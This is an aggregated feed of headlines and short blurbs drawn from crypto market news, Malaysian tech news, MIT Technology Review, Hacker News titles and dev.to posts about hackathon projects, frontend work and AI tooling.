    Other crypto ETF applications, including the Grayscale Solana Trust and Canary Capital Litecoin ETF, were also postponed.
    NEAR Slides 4% After Hitting Resistance, Signaling Bearish Reversal
    NEAR encounters pronounced reversal amid heightened trading volumes as institutional selling pressure materialises near critical technical thresholds.
    ATOM Climbs 4% Amid Bullish Momentum and Consolidation Near Key Support Zone
    Cosmos’ native token posts strong technical breakout with rising volume and higher lows, as traders eye Bitcoin’s next move for broader altcoin direction.
    Ethereum Turns 10 — Time to Leave the Trilemma Behind
    Decentralization doesn’t have to be a dirty word where performance is concerned, say Muriel Médard, MIT Professor, Co-Founder of Optimum and Kishori Konwar, Co-founder of Optimum.
    Still Loving My ‘If It Went to Zero’ NFT
    My long relationship with a "Bert Is Evil" on-chain JPEG that may, or may not be, worthless.
    BONK Surges 6% as Solana Ecosystem Momentum Sparks Investor Interest
    BONK rebounds on institutional accumulation while Solana NFT metrics hit quarterly highs
    PayPay Expands Crypto Payments for U.S. Merchants to Cut Cross-Border Fees
    The new feature supports over 100 cryptocurrencies and major crypto wallets, aiming to simplify international commerce for U.S. merchants.
    Stablecoin-Focused Bitcoin Sidechain Plasma Draws $373M in Oversubscribed Token Sale
    The Plasma network will hold $1 billion in stablecoins at launch and offer fee-free stablecoin transfers.
    Ether Treasuries Target Yield, but Risk Looms, Says Wall Street Broker Bernstein
    A $1 billion ether treasury could generate as much a $50 million in annual yield, the report said.
    Bitcoin Volatility Alert: VIX's Bullish August Seasonality Points to Big Price Swings
    The VIX has declined sharply since April, recently hitting a five-month low ahead of the seasonally bullish August.
    DeFi Sector TVL Hits 3-Year High of $153B as Investors Rush to Farm Yields
    Ethereum leads the DeFi boom with nearly 60% market share, while advanced yield strategies and rising activity on Solana and Sui drive cross-chain growth.
    CoinDesk 20 Performance Update: Avalanche (AVAX) Surges 16.2% as All Assets Rise
    Hedera (HBAR) was also among the top performers, gaining 11.9% over the weekend.
    Analyst Says ETH Could Hit $13K as Early as Q4, With $8K as His Conservative Target
    A popular crypto analyst on X sees ETH reaching $8,000 to $13,000 in Q4; meanwhile, SharpLink Gaming adds $295 million worth of ether to its treasury.
    Mining Profitability Climbed Over 5% in June as Hashrate Fell, BTC Price Rose: Jefferies
    The macro and regulatory backdrop has intensified investor interest in the sector and provided a fresh tailwind for mining firms, the report said.
    Sky's Grove Expands to Avalanche With $250M RWA Plan, Partnering With Centrifuge, Janus
    The expansion brings tokenized versions of credit and U.S. Treasury funds to Avalanche as part of the network's institutional finance push.
    Ethereum Wallet MetaMask Adds Stablecoin Yield With DeFi Giant Aave
    MetaMask Stablecoin Earn now offers users interest on USDC, USDT and DAI via Aave’s lending markets.
    Finance Firm Mill City Ventures to Buy $441M in SUI Tokens, Pivoting to Crypto Treasury Strategy
    The non-bank lender will allocate nearly all of a $450 million private placement to Sui’s native token
    Zodia Markets Raises $18.25M to Fuel International Expansion, Stablecoin Payments
    The Series A funding round was led by Pharsalus Capital and included contributions from Circle Ventures, The Operating Group and XVC Tech
    BNB Rises Over 6% Amid U.S.-EU Trade Deal and $610M Corporate Buying
    BNB's trading volume surged by 170%, with the price reaching a high of $860.86 before pulling back slightly.
    Bitcoin Miner MARA Holdings Upgraded to Overweight at JPMorgan; IREN and Riot Cut to Neutral
    The bank updated its miner estimates to reflect second-quarter earnings and changes to the network hashrate and the bitcoin price.
    Bitcoin Seeing Severe Exhaustion of Bullish Momentum
    BTC's positive dealer gamma at $120K is likely adding to consolidation, with key charts indicating severe uptrend exhaustion.
    OKX Introduces Regulated Crypto Derivatives for Retail Traders in UAE
    Traders in the UAE can now access futures, perpetuals, and options with leverage under new rules
    Altcoins Pop as Bitcoin Stalls Near $120K: Crypto Daybook Americas
    Your day-ahead look for July 28, 2025
    Clearmatics' New DeFi Derivatives Let Traders Bet on Anything, but It's Not a Prediction Market
    Forecast markets will run on the soon-to-launch layer-1 blockchain Autonity and newly developed Autonomous Futures Protocol (AFP).
    Metaplanet Buys 780 More Bitcoin, Increases Stash to 17,132 BTC
    Japanese company Metaplanet has the largest BTC stash among public companies outside the U.S.
    Here is the Bitcoin Price Level That Could be an Attractive Entry Point for BTC Bulls
    Gauging key levels that could offer the best risk-reward ratio for those looking to join the bitcoin bull run.
    Volume Surge Fails to Breach Resistance as DOGE Closes Flat at 23-Cents
    Dogecoin posts a tight trading range amid heavy volume and final-hour selling pressure, signaling a potential breakout setup.
    Bitcoin Zooms to $120K, ETH Nears $4K as Trump’s EU Tariff Deal Lifts Risk Sentiment
    Bitcoin, which had spent the past week trading between $114,000 and $119,000, neared the $120,000 barrier as traders interpreted Trump’s tariff rollback as a signal of reduced macro uncertainty.
    XRP Prints Higher Lows, Tests $3.23 Resistance With Heavy Volume
    XRP posted modest gains despite intraday volatility, recovering from early lows to close near $3.22 on strong afternoon volumes. Institutional accumulation and a late-session rally hint at upside continuation.
    Asia Morning Briefing: Trump's E.U. Tariff Deal Holds Bitcoin Near $119K
    On-chain strength and geopolitical calm support crypto markets, as Polymarket traders raise odds of a $125K Bitcoin breakout and BTC dominance slips below 61%.
  • Open

    The Download: how China’s universities approach AI, and the pitfalls of welfare algorithms
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Chinese universities want students to use more AI, not less Just two years ago, students in China were told to avoid using AI for their assignments. At the time, to get around a…  ( 21 min )
    Chinese universities want students to use more AI, not less
    Just two years ago, Lorraine He, now a 24-year-old law student,  was told to avoid using AI for her assignments. At the time, to get around a national block on ChatGPT, students had to buy a mirror-site version from a secondhand marketplace. Its use was common, but it was at best tolerated and more often…  ( 25 min )
  • Open

    ASUS Announces TUF Gaming T500 Desktop PC: Retails From RM3,899
    ASUS Malaysia recently announced the availability of the TUF Gaming T500 desktop PC. As per the brand’s PR, the casing is inspired by mecha anime, featuring bold lines and futuristic elements that exude both a technological and combat-ready feel. Specs-wise, the T500 comes in two tiers. The base model features an Intel Core i5-13420H CPU, […] The post ASUS Announces TUF Gaming T500 Desktop PC: Retails From RM3,899 appeared first on Lowyat.NET.  ( 33 min )
    Chinese Lisuan 7G106 GPU Shown Running Black Myth Wukong At 4K
    Lisuan Technology isn’t a name many would be familiar with, but the company quietly made the news when it became the first Chinese company to power on its domestically-made 6nm GPU, the G100. As of last week, the GPU maker officially introduced the 7G106, the first ever GPU to be built on TSMC’s N6 process. […] The post Chinese Lisuan 7G106 GPU Shown Running Black Myth Wukong At 4K appeared first on Lowyat.NET.  ( 34 min )
    Lexus NX 350h Luxury Variant Is Now Available In Malaysia
    Just like how Lexus Malaysia quietly added the Lexus RX 500h Sport Special to the Malaysian market, they have upgraded the line-up with a new NX variant – the Lexus NX 350h Luxury. This was found when we visited Lexus Malaysia’s official website. This new NX variant comes with the signature Spindle Grille paired with […] The post Lexus NX 350h Luxury Variant Is Now Available In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Hongqi Set To Debut In Singapore In 2026 With The E-HS9
    The Chinese premium automotive brand, Hongqi, is gearing up to make its debut in Singapore. For some, the name may already ring a bell as the automaker captured the attention of Malaysians when His Majesty Sultan Ibrahim, the King of Malaysia, was gifted the luxurious L5 model last year. The brand further cemented its presence […] The post Hongqi Set To Debut In Singapore In 2026 With The E-HS9 appeared first on Lowyat.NET.  ( 34 min )
    Transport Ministry Warns Maxim, InDrive To Comply With EVP Or Lose Licences
    The Ministry of Transport (MOT) has issued a final warning to e-hailing operators Maxim and InDrive, demanding full compliance with local regulations or risk having their licences suspended or revoked. Its minister, Anthony Loke, said both companies are currently undergoing a three-month observation period to rectify multiple service-related violations. This probationary period began on 24 […] The post Transport Ministry Warns Maxim, InDrive To Comply With EVP Or Lose Licences appeared first on Lowyat.NET.  ( 34 min )
    AKASO 360 Lands In Malaysia; Starts From RM899
    Chinese brand AKASO today has officially launched its first 360-degree camera in Malaysia, aptly named the AKASO 360. Like its other products, which comprises a wide variety of action cameras, the new device promises to provide high-end imaging at affordable price ranges. The AKASO 360 itself offers a familiar form factor, featuring a rectangular body […] The post AKASO 360 Lands In Malaysia; Starts From RM899 appeared first on Lowyat.NET.  ( 33 min )
    You Can Try Out The Nintendo Switch 2 At LaLaport Bukit Bintang On 2, 3 August
    The official, local units of the Nintendo Switch 2 are already in the market. With that in mind, it’s probably safe to assume that those who want one have already gotten one. But if you’re still undecided – or if you’re looking for something to change your mind – then your chance is coming soon. […] The post You Can Try Out The Nintendo Switch 2 At LaLaport Bukit Bintang On 2, 3 August appeared first on Lowyat.NET.  ( 33 min )
    Alibaba Unveils AI-Powered Smart Glasses
    Alibaba has debuted its first set of smart glasses, marking the company’s entry into the AI wearables market. The device, known as the Quark AI Glasses, made its appearance at the 2025 World Artificial Intelligence Conference (WAIC). The smart glasses are powered by Alibaba’s in-house Qwen large language model and are intended to serve as […] The post Alibaba Unveils AI-Powered Smart Glasses appeared first on Lowyat.NET.  ( 33 min )
    People In The UK Now Need To Provide Age Verifying Selfie In Order To Watch Porn
    The UK government effectively implemented a new requirement, or layer, if you will, for people who wish to view pornographic content in the country. As of last week, folks there will have two options to view porn: take a selfie for the sites to verify their age, or simply provide their photo ID. The move […] The post People In The UK Now Need To Provide Age Verifying Selfie In Order To Watch Porn appeared first on Lowyat.NET.  ( 34 min )
    Tesla Signs US$16.5 Billion Chip Supply Deal With Samsung
    American EV company Tesla has signed a deal with South Korean tech giant Samsung for a multiyear chip deal for US$16.5 billion (~RM69.64 billion). This will see the latter make the former’s A16 chip through to 2033. Reports initially indicated that Samsung made the announcement without naming its client, apparently citing the latter’s request for […] The post Tesla Signs US$16.5 Billion Chip Supply Deal With Samsung appeared first on Lowyat.NET.  ( 33 min )
    Transport Minister Announces Reforms For Taxi Drivers Ahead Of Visit Malaysia 2026
    Taxi drivers and the whole taxi industry play a huge role in the tourism sector of the country. This is because the taxi drivers are usually the first Malaysians that a tourist speaks to. In that case, that conversation reflects a lot about the Malaysian people and society. Keeping this in mind, basic language and […] The post Transport Minister Announces Reforms For Taxi Drivers Ahead Of Visit Malaysia 2026 appeared first on Lowyat.NET.  ( 33 min )
    Steam Tests Store Page Redesign To Make Finding Games Easier
    Valve has announced that it is making some changes to the Steam store page. In fact, it is available now, if you’re willing to wade through the field of uncertainty that is the beta client. Overall though, the idea is to consolidate a lot of the elements so that you get a cleaner experience. On […] The post Steam Tests Store Page Redesign To Make Finding Games Easier appeared first on Lowyat.NET.  ( 34 min )
    Samsung’s Next-Gen Exynos 2600 Flagship Chip Appears On Geekbench
    Samsung has yet to officially unveil its next flagship chipset, the Exynos 2600, but early benchmark leaks have already surfaced online. A new Geekbench listing has revealed the chip’s core configuration and performance numbers, while a separate 3DMark benchmark provides an early look at its GPU capabilities. Spotted bearing the model number S5E9965, the Exynos […] The post Samsung’s Next-Gen Exynos 2600 Flagship Chip Appears On Geekbench appeared first on Lowyat.NET.  ( 33 min )
    Apple Foldable iPhone Display Sizes Leaked
    Apple is pretty late to the party when it comes to foldables, with the first foldable iPhone only set to launch next year. While we await the arrival of this device, rumours and leaks continue to surface. Recently, a leakster has revealed the screen sizes of the so-called iPhone Fold. According to a Weibo post […] The post Apple Foldable iPhone Display Sizes Leaked appeared first on Lowyat.NET.  ( 33 min )
    Samsung Might Prioritise Foldables For Future One UI Updates
    Earlier this month, Samsung debuted One UI 8 with the Galaxy Z Fold7 and Flip7, making the foldables the first devices to receive the latest version of the operating system. Apparently, this might not be a one-off occurrence, as this could be the company’s new strategy for software updates. According to an X post by […] The post Samsung Might Prioritise Foldables For Future One UI Updates appeared first on Lowyat.NET.  ( 33 min )
    China Proposes Establishment Of Global AI Governance Organisation
    China has proposed for global artificial intelligence governance during the World Artificial Intelligence Conference (WAIC) in Shanghai, the Financial Times reports. In his address at the event, Chinese Premier Li Qiang (shown above) called for greater international cooperation and warned against monopolisation of the technology, noting that AI risks becoming “an exclusive game for a […] The post China Proposes Establishment Of Global AI Governance Organisation appeared first on Lowyat.NET.  ( 33 min )
    Xiaomi Smart Band 10 Lightning Review: Fashion Is The Function
    Last month, Xiaomi launched the Smart Band 10 as the successor to the Smart Band 9. If the last few iterations of its fitness tracker is anything to go by, it seems like the brand is focused on refining what is there rather than making any drastic changes. The Smart Band 10 features a few […] The post Xiaomi Smart Band 10 Lightning Review: Fashion Is The Function appeared first on Lowyat.NET.  ( 38 min )

  • Open

    Update Complete: U.S. Nuclear Weapons No Longer Need Floppy Disks (2019)
    Comments
    ZUSE – The Modern IRC Chat for the Terminal Made in Go/Bubbletea
    Comments  ( 6 min )
    Enough AI Copilots, We Need AI HUDs
    Comments  ( 3 min )
    Placing Functions
    Comments  ( 18 min )
    EU age verification app to ban any Android system not licensed by Google
    Comments
    Designing a Flatpack Bed
    Comments  ( 9 min )
    Show HN: Open-source physical rack-mounted GUI for home lab
    Comments  ( 29 min )
    Making Postgres slower
    Comments  ( 12 min )
    The Bootstrap Load
    Comments  ( 2 min )
    IBM Keyboard Patents
    Comments  ( 22 min )
    The Evilization of Google–and What to Do About It
    Comments
    GPT might be an information virus (2023)
    Comments  ( 9 min )
    Electrified dry reforming of methane on Ni-La2O3–loaded activated carbon
    Comments
    Formal specs as sets of behaviors
    Comments  ( 18 min )
    I hacked my washing machine
    Comments  ( 9 min )
    National Aviation Reporting Center on Anomalous Phenomena
    Comments  ( 2 min )
    Is Jeff Bezos killing The Washington Post on purpose or by accident?
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    Revontuli Colorscheme Collection
    Comments  ( 4 min )
    Tom Lehrer, song satirist and mathematician, dies at 97
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    Open source BOM management (for me)
    Comments  ( 4 min )
    Itch.io is the latest marketplace to crack down on adult games
    Comments  ( 10 min )
    Show HN: Dlg – Zero-cost printf-style debugging for Go
    Comments  ( 15 min )
    Profiling without Source code – how I diagnosed Trackmania stuttering
    Comments  ( 19 min )
    Disabling telemetry in ByteDance's VSCode fork increases data sent to its server
    Comments  ( 17 min )
    Allianz Life says 'majority' of customers' personal data stolen in cyberattack
    Comments  ( 9 min )
    Show HN: Windows 7 GUI for the Web
    Comments  ( 22 min )
    Ask HN: What are you working on? (July 2025)
    Comments  ( 31 min )
    Tom Lehrer, Musical Satirist with a Dark Streak, Dies at 97
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    Instrumenting Next.js with runtime secret injection
    Comments  ( 39 min )
    Ultra-Rapid Vision in Birds
    Comments  ( 18 min )
    Claude Code Is a Slot Machine
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    No
    Comments  ( 4 min )
    The many, many, many JavaScript runtimes of the last decade
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    Dumb Pipe
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    The Saltgator: A Desktop SoftGel Injection Molding Machine
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    Hexatetrahedral Rails
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    Beetroot juice lowers blood pressure in older people by changing oral microbiome
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    The JJ VCS workshop: A zero-to-hero speedrun
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    AV-Racer Devlog (1): Getting a functional car model
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    No AI Content
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    Jeff Bezos doesn't believe in PowerPoint, and his employees agree
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    Traccar: an open source GPS tracking system
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    Analoguediehard
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    JANET – The UK Joint Academic Network (1988) [pdf]
    Comments  ( 42 min )
    Constrained languages are easier to optimize
    Comments  ( 3 min )
    Sapients paper on the concept of Hierarchical Reasoning Model
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    Beyond Food and People
    Comments  ( 47 min )
    When We Get Komooted
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    Linux on Snapdragon X Elite: Linaro and Tuxedo Pave the Way for ARM64 Laptops
    Comments  ( 6 min )
    Actual Size Online Ruler (Mm,Cm,Inches)
    Comments  ( 2 min )
    .NET 10 Preview 6 brings JIT improvements, one-shot tool execution
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    4k NASA employees opt to leave agency through deferred resignation program
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    Show HN: Cant, rust nn lib for learning
    Comments  ( 9 min )
    Chemical Process Produces Critical Battery Metals with No Waste
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    The future is not self-hosted, but self-sovereign
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    Fast and cheap bulk storage: using LVM to cache HDDs on SSDs
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    Measuring Engineering
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    The Electron E1 Processor
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    Smallest particulate matter sensor revolutionizes air quality measurement
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    Show HN: The Aria Programming Language
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    A Python dict that can report which keys you did not use
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    The Day Wall Street Was Silent (1979)
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    Janet: Lightweight, Expressive, Modern Lisp
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    USB-C for Lightning iPhones
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    Show HN: Convert from MIDI file to ASCII tablature (and more)
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  • Open

    CSS Office Art: The Work
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. My css art was built around a typical work day, just a pictoral representation of a day doing work. I went through the css prompt for the hackathon and brainstormed on what I could build to showcase this. The code is available: https://github.com/Cruxcodes/CSS-Office-Art Live View: https://office-css-art.netlify.app/ It was a brain teasing journey. I had to zoom in and zoom out constantly to make sure each border was round enough or to discern if the div had to be closer or not. Linear gradient: Depending on your skill with css, you already know how linear-gradient works with css. When i was trying to build the boxes I found it redundant to use two divs and didn't want to go through…  ( 4 min )
    🎨 Office Coolors: A Colorful Intranet for Creative Productivity
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space Office Coolors is a creative intranet designed for illustrators, visual artists, and anyone who prefers a more visual and interactive approach to organizing tasks. The main idea is to turn task completion into a visually rewarding process: each completed task unlocks a color that can be used to paint parts of an interactive SVG drawing. It’s like a digital artistic workspace where motivation grows as your progress brings color to your creations. Choose a themed workspace: Nature, Office, Beach, or Trailer Visual tasks unlock exclusive colors Interactive SVG painting with visual feedback (color explosion effect) Dark mode with persistent storage Bounce animations and custom sound e…  ( 4 min )
    From Beira to the World: My Journey as a Fullstack Developer
    Hello dev community! 👋 Where it all began My passion for technology started out of pure curiosity. Growing up, I was always fascinated by computers. But it wasn’t until university that I realized software development could be more than just a skill — it could be a powerful tool to change lives. Starting with mine. My first "Hello, World!" Like many others, I started with HTML and CSS. But things really took off when I discovered Laravel and React Native. These two frameworks became the foundation of my career, allowing me to build full web and mobile applications with real impact. Over time, I evolved into a fullstack developer — capable of designing, building, and delivering complete solutions, from scratch to production. Real problems, digital solutions One of the things I’m most proud of is using code to solve real problems in my community. Whether it's a logistics tracking system, a disaster alert app that sends SMS to citizens, or a price comparison platform for everyday products — my mission is simple: Beyond the code For me, development is more than just writing code. It's about understanding people, solving problems, and creating meaningful experiences. That’s why I’ve also been exploring design, user experience, technical leadership, and even entrepreneurship. What’s next? I’m always open to new challenges and collaborations. I'm especially passionate about building social impact digital products, contributing to the tech community, and strengthening the developer ecosystem in Mozambique and across Africa. Thanks for reading this far! 🚀 “Code is poetry. And every poem has a story behind it.”  ( 4 min )
    Da Beira para o Mundo: Minha Jornada como Desenvolvedor Fullstack
    Olá, comunidade dev! 👋 Sou Arnaldo Tomo, desenvolvedor fullstack de Moçambique 🇲🇿, e hoje decidi compartilhar um pouco da minha trajetória com vocês. Sempre acreditei que cada linha de código escrita carrega um pedaço da nossa história — e essa é a minha. Onde tudo começou Minha jornada na tecnologia começou por curiosidade. Cresci fascinado por computadores, mas foi só mais tarde, durante a universidade, que percebi que desenvolver software poderia ser mais do que uma habilidade — poderia ser uma carreira capaz de mudar vidas. A minha, inclusive. Primeiro "Hello, World!" Comecei com HTML e CSS, como muitos de nós. Mas foi com Laravel e React Native que me encontrei. Essas duas tecnologias me deram a base sólida que tenho hoje para construir aplicações web e mobile que impactam diretame…  ( 4 min )
    The Internals of Bidirectional Pagination in Relay: A Deep Dive
    Relay is a GraphQL client built by Meta, designed for large-scale, high-performance apps. Unlike more flexible alternatives like Apollo, Relay enforces stricter rules for how you write queries and manage your local store — which means fewer hidden bugs, but a steeper learning curve. One of Relay’s biggest selling points is its battle-tested, “black-box” implementation of bidirectional pagination. If you’ve ever used it, you’ve probably wondered: What actually happens behind the scenes? How does Relay merge pages when you scroll up and down at the same time? Bidirectional pagination is powerful — but it can feel like magic. Let’s break it down. Before we get into the bi in bidirectional, let’s start with the basics. When you’re dealing with huge lists — like your Twitter/X feed or a WhatsA…  ( 11 min )
    InnovateCorp Portal: A Modern & Friendly Intranet
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space For this challenge, I built the InnovateCorp Portal. It’s a modern and friendly intranet designed to be a one-stop shop for employees. My goal was to make more than just a page of links; I wanted to create a helpful and interactive space that makes work easier and brings people together. The portal has a clean, card-based layout that’s easy to read. Key features include: A Personalized Welcome: The page greets you by name and gives you a quick update on your day. Quick Action Buttons: These let you easily do common tasks like starting a new project or scheduling a meeting. A Dashboard of Handy Widgets: 1.Upcoming Events: See your meetings and company events for the week. 2.Team Spo…  ( 4 min )
    # 🚀 I Built a Library That Auto-Generates TypeScript Types from Laravel Models
    🚀 I Built a Library That Auto-Generates TypeScript Types from Laravel Models Hey dev community! 👋 I'm Arnaldo Tomo, a developer from Mozambique 🇲🇿, and I want to share with you a library I built to solve a problem that had been bugging me for ages in full-stack development. Like many of you, I frequently work with Laravel on the backend and React/Vue on the frontend. And I kept running into the same annoying situation: I'd create a model in Laravel I'd need to manually recreate the corresponding TypeScript interface Every time the model changed, I had to remember to update the TypeScript I'd inevitably forget, causing bugs in production I kept thinking: "There has to be a better way to do this!" After yet another afternoon lost debugging an error caused by outdated types, I decided: …  ( 6 min )
    After the Hack: What’s Next for MyMealMind?
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. It started with a simple idea — “I need a recipe app that doesn’t live in 47 open tabs and random notes.” Now, here I am post-hackathon with something way bigger than I imagined. I’ve got two exciting (and slightly chaotic) plans for MyMealMind: The All-In Service Plan Continue evolving MyMealMind into a full-blown platform. Add more community features, pro perks, gamification, and SEO-ready tools. Turn it into a go-to hub for food lovers, chefs, and kitchen pros. The Open Source Template Plan Polish the code and docs. Launch MyMealMind as a reusable template for anyone who wants to build their own recipe-powered platform. Think of it as a digital starter pack for food-tech projects. And who knows — maybe I’ll end up doing both. (Because sleep is overrated, right?) Building fast doesn’t mean skipping quality — just means you lean on the right tools (Bolt, you legend). Supabase + RevenueCat = chef’s kiss for scaling with auth, payments, and gated content. Design + Dev = magic when you stop fighting with yourself over button colors at 2 AM. Sharpened my frontend skills Got hands-on with Stripe + RevenueCat integration logic Built real features that scale (and didn’t crash... much) Joined the world’s coolest dev challenge (shoutout Bolt.new!) The hackathon might be over, but I’m just getting started. Whether MyMealMind becomes a viral app, a dev boilerplate, or both — I’m excited. And hungry.  ( 4 min )
    I invented a data structure with two roots and shared leaves — the Conjoined Tree
    Hi folks, I recently invented and open-sourced a new data structure called the Conjoined Tree. It’s designed for multi-dimensional data modeling—think pivot tables, OLAP cubes, or feature stores—where operations like sorting, filtering, or inserting can be done along any axis, without needing to shift the whole structure. Instead of one root like a traditional tree, it has two or more root nodes (like rows and columns), and all share the same leaf nodes. It scales up to N dimensions and supports sparse data naturally. 🔗 GitHub: https://github.com/esuryadi/conjoined-tree 📝 Article: https://www.linkedin.com/pulse/tree-two-roots-new-data-structure-multi-dimensional-thinking-suryadi-czycc 📚 Spec: https://edsuryadi.atlassian.net/wiki/external/NzM1Mjk1NDUwOWU4NGIwZDg5MGQxYWMzMTdhN2M4YWM Would love feedback or collaboration ideas. Feel free to contribute or build something with it!  ( 3 min )
    The New Stack for AI Builders:Memory + Emotion + Context
    Yesterday, I asked GPT-4 to help me write a work email to a colleague. The response was technically perfect: clean grammar, polished structure, polite tone. But something felt off. It lacked the subtle understanding of our working relationship—the accumulated history, unspoken dynamics, and tone adjustments I’ve learned over time. It felt sterile. Here’s the fundamental problem: Current LLMs operate in isolation. Each conversation exists in a vacuum. They don’t remember yesterday’s context, adapt to our evolving needs, or grow with us over time. This isn’t a technical limitation — it’s an architectural decision. And it’s the wrong one. Human intelligence builds on context. You don’t reintroduce yourself to a friend every time you meet. Context-aware AI should work the same way. Traditional…  ( 5 min )
    Demócrito e o Software como Átomo: Modularidade, Composição e Funções Puras
    Introdução Desde a Grécia Antiga, filósofos têm buscado reduzir a complexidade natural a princípios simples. Demócrito (c. 460–370 a.C.), por exemplo, foi um pioneiro do materialismo filosófico e tentou explicar o cosmos sem recorrer a mitos. Segundo sua visão, toda a matéria é composta por partículas mínimas e indivisíveis chamadas átomos, que se movem e se rearranjam no vazio. Para ele, diferenças entre substâncias (como a diferença entre terra e água) dependiam apenas do formato e da disposição desses átomos. Embora nossa ciência moderna descreva a matéria com mais detalhes, a essência dessa ideia, que sistemas complexos surgem da combinação de partes simples, permanece influente. Em paralelo, a computação lida com sistemas complexos que precisam ser construídos a partir de componente…  ( 10 min )
    Dev containers not working? Check if you’re using Flatpak VS Code
    I spent ~30 minutes wondering why my dev containers weren’t seeing the Docker engine running. I was about to reinstall everything when I realized I had installed VS Code via Flatpak. As we all know, Flatpak apps run in a sandbox, so vscode has no access to /var/run/docker.sock by default Solution: Takeaway: Before debugging like crazy, double-check how your app is installed — sandboxed formats like Flatpak can break common development workflows.  ( 3 min )
    Beyond the Code: My Hackathon Journey with MyMealMind at the World's Largest Hackathon
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. When I joined the World's Largest Hackathon, I was thinking: “Cool, I’ll build a little recipe app.” What actually happened? I ended up pulling late-night coding marathons, becoming best friends with Bolt (my AI copilot), and discovering an amazing global community of builders just like me. Bolt.new, my 24/7 coding buddy — From tricky logic to naming variables like “authTokenThatActuallyWorksThisTime”, Bolt had my back. No judgment. Just solutions. @addyosmani , you're a legend — Your tweet pulled me into this whole wild ride. I owe you coffee. IRL MVPs — My friends cheered me on like I was in the finals of Iron Chef... except I was cooking up JSX and Tailwind classes. Devpost + Discord = 💯 vibes — Every announcement felt like a hype squad cheering me on. Even when I broke the build. Again. "Wait, I just built that?!" moments — Integrating RevenueCat + Supabase + Netlify with edge functions, subscriptions, gated logic… me one month ago wouldn’t believe it. This hackathon gave me way more than an app. It gave me confidence, growth, and a weird obsession with improving UX. I shipped something real. I met cool people. And I proved to myself that I could do hard things—with a side of fun and caffeine. Catch you at the next one 🚀 — Dmitriy Check out MyMealMind on Devpost  ( 3 min )
    🔍 What is White-Hat SEO? [2025 Guide]
    Your Ethical Blueprint for Unshakeable Rankings Who wins in SEO long-term? White-Hat SEO is not just a technique—it’s a business mindset. In 2025, when AI-generated spam and manipulative tactics risk devastating penalties, sustainable SEO is your competitive edge. This guide—by Kashif Mukhtar, a trusted SEO strategist with 550+ global clients—breaks down everything beginners and professionals must know to win ethically in today’s SERPs. 🎯 Who It’s For: White-Hat SEO is not about tricks. It’s about value, quality, and playing the long game. White-Hat SEO is the ethical optimization of web content, technical elements, and backlinks in strict alignment with Google’s Webmaster Guidelines. It prioritizes: User intent Trust signals Experience + Expertise It rejects: PBNs Cloaking Spammy AI-gene…  ( 5 min )
    The AI coding pattern spreading through engineering teams
    Most developers approach AI coding tools like magic wands, throwing vague instructions at them and hoping for optimal results. However, developers who consistently achieve excellent outcomes from AI follow a structured methodology. Providing unclear instructions like "Hey Claude, can you make this payment flow better?" Accepting whatever the AI suggests without proper context Iterating through random solutions until something appears to work Fighting the AI when it fails to understand your architecture This pattern doesn’t scale. It increases PR churn, breaks layered ownership and confuses reviewers. Structured AI Development on the other hand follows the Plan, Context, Execute, Review pattern Lets walkthrough the 4 step process mentioned above with a refactoring example: “Refactor Payment…  ( 5 min )
    How I Built MyMealMind — A Full Recipe Platform in Just Weeks with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. MyMealMind is a full-stack web platform where users can: Save and organize their recipes (privately or publicly) Explore the most loved meals from the community Create their own digital cookbook Upgrade to a Pro plan to unlock unlimited publishing, chef profile, and more Live Site: https://mymealmind.online Devpost: https://devpost.com/software/my-meal-mind-online I built this solo to solve a real-life need — I was tired of losing recipes in screenshots, tabs, and notes. I wanted something beautiful, scalable, and practical — so I built it. Frontend: React, TypeScript, Tailwind CSS Database & Auth: Supabase (PostgreSQL, RLS, Storage) Payments: RevenueCat + Stripe Hosting: Netlify (linked…  ( 5 min )
    DevTech AI Hub – AI-Powered Developer Platform
    What I Built DevTech AI Hub is a next-generation developer platform that fuses AI, collaboration, and beautiful design. Built for the Algolia MCP Server Challenge, it empowers developers to network, build, and discover through smart search, community features, and over 15 Gemini-powered AI tools. 🔍 AI-powered Developer Networking ⚡ Profile & Project Discovery ✨ Animated & Responsive UI (glassmorphism, gradients, dark/light mode, micro-interactions) 🎨 Dynamic Sections: Home, Developers, Projects, Community, AI Tools, Analytics, Tutorials, etc. 🤖 15+ Gemini AI Tools (Q&A, code explain, project ideation, resume builder, AI image gen, bug detection, collab chat, more) 🖼️ Unique background visuals & per-section videos 🔗 Clickable Navbar & Footer with vibrant, large icons for all personal/owner links ♿ Full Accessibility 🔐 Secure API integration (env vars, never exposed) 🌐 SEO-Optimized: Meta, favicon, social OG Production Site Tech Stack: React 18, TypeScript, Vite, TailwindCSS, Framer Motion, Chart.js/Recharts, Algolia MCP, Gemini, Supabase, Lucide Security: All keys via .env, never exposed; backend proxy for AI/Imagen Modern Routing: React Router for seamless nav Animated backgrounds/video (Lottie, SVG, custom) Accessibility & SEO: WCAG, ARIA, OG meta, favicon, dark/light Gemini 2.5 Pro (all 15+ tools securely, never exposed keys) Imagen 4 (image analysis, downloadable PNG/JPEG) Algolia MCP (contextual semantic search) Supabase (real-time data, auth) [ ] Real-time collab & chat [ ] Plugin/extension API [ ] Marketplace & enterprise features [ ] Mobile app [ ] Advanced analytics/visualizations Google Gemini AI Algolia Supabase Tailwind CSS Framer Motion Lucide Pexels ⭐ Star this if you found it helpful!  ( 3 min )
    HealPro-AI-powered medical assistant
    This is a submission for the AssemblyAI Voice Agents Challenge 🌟 LIVE DEPLOYMENT: **https://vercel.com/sreeganeshs-projects/medical-voice-agent-demo ** Git ** : **SreeJagatab 🏆Participant of AssemblyAI Voice Agents Challenge An enterprise-grade AI-powered medical assistant with advanced voice capabilities using AssemblyAI Universal-Streaming and LiveKit. This system provides real-time, accurate medical information through natural voice conversations with ultra-low 300ms latency. 🚀 Quick Start 🏗️ Architecture Overview 🎯 Features 🔧 API Documentation 🔐 API Keys Setup 🖥️ Development 🧪 Testing 📊 Monitoring & Analytics 🚀 Deployment 🛡️ Safety & Compliance 📈 Performance 🤝 Contributing 📝 License The system has been consolidated into two main components: Backend: medical_backend.py - …  ( 35 min )
    Now make it psychedelic. Using Hue to create colorful animations 🌈
